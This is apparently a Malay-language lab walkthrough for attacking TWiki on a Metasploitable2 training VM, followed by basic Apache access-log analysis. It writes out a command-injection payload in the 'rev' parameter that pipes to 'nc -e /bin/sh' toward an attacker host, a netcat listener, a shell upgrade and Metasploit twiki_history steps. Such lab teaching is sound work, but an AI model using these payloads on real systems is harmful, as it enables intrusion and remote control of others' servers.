twiki walkthrough Part 2

[2] twiki exploitation reverse shell – manual

1 Buka url berikut dan install Hack-Tools Chrome Extension

https://chrome.google.com/webstore/detail/hack-tools/cmbndhnoonmghfofefkcccljbkdpamhi

2 Setup listener pada host machine anda:

```
nc -nlvp 1234
```

3 Masukkan payload reverse shell pada parameter rev (twiki)

```
http://ip_metasploitable2/twiki/bin/view/Main/TWikiUsers?rev=2%20|nc
-e /bin/sh ip_attacker port
```

4 Runkan command berikut dari nc listener anda

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

[3] twiki exploitation metasploit

1 Buka terminal kali-wsl anda dan startkan metasploit

```
$ msfconsole
```

2 Taipkan command berikut (rujuk video demo)

```
$ search twiki
$ use use exploit/unix/webapp/twiki_history
$ show options
$ set RHOSTS 192.168.8.188
$ exploit
```

[4] analisa log - asas

1 Buka terminal dan ssh ke metasploitable2 machine anda

```
ssh msfadmin@ip_metasploitable2
```

2 Taipkan command berikut (rujuk video demo)

```
$ cd /var/log/apache2
$ cat access.log
$ awk '{print $9}' access.log | sort | uniq -c | sort -rn
$ awk '{print $1}' access.log | sort | uniq -c | sort -rn | head
$ cut -d' ' -f12- access.log | sort | uniq -c | sort -rn | head
$ awk '{print $7}' access.log | sort | uniq -c | sort -rn | head
$ awk '($9 ~ /404/) {print $1}' access.log | sort | uniq -c | sort -rn | head
$ awk '($9 ~ /404/)' access.log | cut -d' ' -f12- | sort | uniq -c | sort -rn | head
```